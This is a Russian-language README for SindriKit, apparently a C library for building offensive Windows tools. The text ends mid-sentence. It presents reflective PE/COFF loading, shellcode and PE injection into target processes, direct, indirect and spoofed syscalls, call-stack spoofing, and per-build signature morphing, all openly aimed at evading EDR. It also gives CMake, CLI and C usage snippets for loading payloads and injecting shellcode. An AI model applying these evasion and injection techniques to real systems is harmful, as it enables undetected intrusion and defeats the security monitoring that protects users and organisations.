
Основополагающая библиотека на C для создания оперативно достоверных наступательных возможностей
Наступательная разработка заслуживает лучшей архитектуры.
Библиотека на C для создания наступательных возможностей.
Большинство наступательных утилит жёстко зашивают механику выполнения внутри логики техники. Рефлективный загрузчик не просто отображает образ; он отображает его с использованием конкретной, жёстко заданной цепочки вызовов VirtualAlloc или нативных NTAPI. Когда EDR начинает отслеживать эту конкретную цепочку, вы вынуждены переписывать весь инструмент.
SindriKit решает эту проблему, обеспечивая разделение ответственности через таблицы абстракции интерфейсов:
Перенося механику выполнения в указатели на функции времени выполнения, вы можете заменить всю свою стратегию с вызовов Win32 на сырые прямые системные вызовы одной строкой кода — без изменения логики выполнения полезной нагрузки.
snd_memory_api_t, snd_module_api_t, snd_process_api_t, snd_thread_api_t, snd_mapping_api_t, snd_file_api_t) без изменения логики техники.snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) с цепочкой приоритетов, развязанные от инвокеров: прямые, косвенные (гаджет NTDLL) или спуфированные (динамический спуфинг стека вызовов Fat-Frame).snd_status_t — упакованный код средства/локальный код плюс захваченная ошибка ОС, со строками контекста, которые исключаются при компиляции в тихом уровне.SND_MORPH. Генерирует уникальные бинарные сигнатуры при каждой сборке, внедряя волатильные непрозрачные предикаты в код C, функционально эквивалентные математические операции/NOP в ассемблерные заглушки и перемешивая расположение в памяти ключевых структур.SND_CRTLESS идут дальше с /NODEFAULTLIB, без заголовков SDK, с фронтендом PEB и только нативными бэкендами.Репозиторий поставляет единый CLI unified, который задействует каждый профиль:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified поддерживает load pe|coff, inject classic|apc|hijack (shell, PE, COFF) и hg, каждый поверх --win/--nt/--sys. См. Примеры и PoC и Начало работы.
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Всего две строки, чтобы ваш инструмент унаследовал все возможности SindriKit: парсинг PE и COFF, рефлективную загрузку, каскадные системные вызовы и профили инъекции.
┌────────────────────────────────────────────────────────────────────────────┐
│ ЛЮБОЕ НАСТУПАТЕЛЬНОЕ НАМЕРЕНИЕ │
│ Загрузчик · Инжектор · Спуфер · Патчер · Обходчик · Сборщик · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ СЛОЙ АБСТРАКЦИИ API SINDRIKIT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Профиль Win32 │ Нативный профиль │ Своя механика │
│ VirtualAlloc │ NtAllocateVirtual │ Драйвер · ROP · Экзотика │
│ LoadLibraryA │ PEB Walk + EAT │ Функции, заданные оператором │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
На практике это означает, что каждый домен следует одному и тому же контракту:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit рассматривает разрешение системных вызовов как внедряемую механику, выстраивая стратегии в порядке приоритета. Движок перебирает их, пока одна не завершится успешно:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
Инвокер развязан от разрешения SSN — переключайтесь между прямыми, косвенными и спуфированными системными вызовами без изменения кода домена. Косвенный вызов переходит на легитимный гаджет NTDLL, так что адрес возврата остаётся внутри ntdll.dll; спуфированный вызов дополнительно помещает подлинный адрес возврата вызывающего внутри динамически обнаруженного "Fat Frame", так что развёртывание стека вызовов остаётся согласованным.
Каждое имя API и строка модуля удаляются из финального бинарника во время компиляции через одну переменную CMake: